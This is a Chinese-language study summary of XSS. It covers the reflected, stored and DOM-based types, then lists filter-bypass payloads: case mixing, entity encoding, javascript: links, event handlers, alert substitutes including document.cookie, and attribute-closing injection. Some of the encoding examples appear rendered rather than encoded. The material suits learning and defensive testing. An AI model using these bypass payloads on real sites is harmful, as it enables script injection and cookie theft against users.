XSS漏洞学习总结
XSS漏洞分类
一、反射型 XSS(Reflected XSS)
反射型 XSS 是最常见的 XSS 类型之一,也被称为 “非持久型 XSS”。其核心特点是恶意脚本不会被存储在服务器端,而是通过诱骗用户点击包含恶意脚本的链接(如 URL 参数),当服务器接收到请求后,将恶意脚本 “反射” 回用户的浏览器并执行。
典型场景
- 搜索框:用户输入的内容直接作为 URL 参数返回在页面中,若未过滤,可能触发反射型 XSS;
- 错误页面:当 URL 中包含错误信息参数时,若直接显示在页面上,可能被注入脚本。
特点
- 恶意脚本仅在单次请求中生效,不会被长期存储;
- 依赖用户主动点击恶意链接,攻击成功率相对较低;
- 通常与社会工程学结合使用(如伪装成可信链接)。
二、存储型 XSS(Stored XSS)
存储型 XSS 也被称为 “持久型 XSS”,其核心特点是恶意脚本会被永久存储在服务器端(如数据库、评论区、用户资料等),当其他用户访问包含恶意脚本的页面时,脚本会被自动加载并执行。
典型场景
- 论坛 / 博客评论区:攻击者在评论中插入脚本,所有查看该评论的用户都会受到影响;
- 用户资料页:攻击者在个人简介中注入脚本,当他人查看其资料时触发;
- 消息系统:恶意脚本被存储在私信中,接收者查看时执行。
特点
- 恶意脚本长期存储在服务器,影响范围广(所有访问该页面的用户);
- 攻击隐蔽性强,无需诱骗用户点击特定链接,危害更大;
- 常见于用户可输入内容并公开展示的功能(如社交平台、电商评价)。
三、DOM 型 XSS(DOM-based XSS)
DOM 型 XSS 与前两种类型的核心区别是:恶意脚本的执行不依赖服务器的响应,而是完全在客户端的 DOM(文档对象模型)中处理。攻击者利用页面中 JavaScript 对 DOM 的操作漏洞,将恶意脚本注入到 DOM 中,导致浏览器执行。
典型场景
- 前端路由:页面通过 URL 哈希(
#
后的内容)动态加载内容,若直接将哈希值插入 DOM,可能触发 DOM 型 XSS; - 客户端数据处理:JavaScript 从URL 参数中读取数据并渲染到页面,若未过滤,可能存在漏洞。
特点
- 恶意脚本的注入和执行完全在客户端完成,服务器端无法感知;
- 漏洞根源在于前端 JavaScript 代码对用户输入的处理不当,而非服务器逻辑;
- 难以通过服务器端过滤防御,需在前端代码中加强输入验证和输出编码。
常见的绕过技巧
过滤script字符:
(1)可尝试使用大小写混合的方法绕过
<ScRiPt>alert(1)</ScRiPt>
(2)将字符转换为编码进行绕过
<script>alert(1)</script> //用HTML实体编码替换字母(t的实体是t)
(3)利用href
属性的<a>
标签
<a href="javascript:alert(1)">点击我</a>
<a href="javascript:alert(1)">点击我</a> //冒号用实体编码:
过滤“<”,“>”字符
(1)尝试使用事件属性(如onclick
、onerror
等)
onerror=alert(1)
onclick=alert(1)
过滤alert字符
(1)可使用相同功能的函数代替
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>console.log(document.cookie)</script>
其他特殊技巧
闭合现有标签
若输入位置处于已有标签的属性中(<input value="用户输入">
),可闭合现有标签并注入新标签
/*假设输入位置:*/<input value="用户输入">,
/*输入以下内容 :*/"><script>alert(1)</script><"
/*结果变为 */<input value=""><script>alert(1)</script><">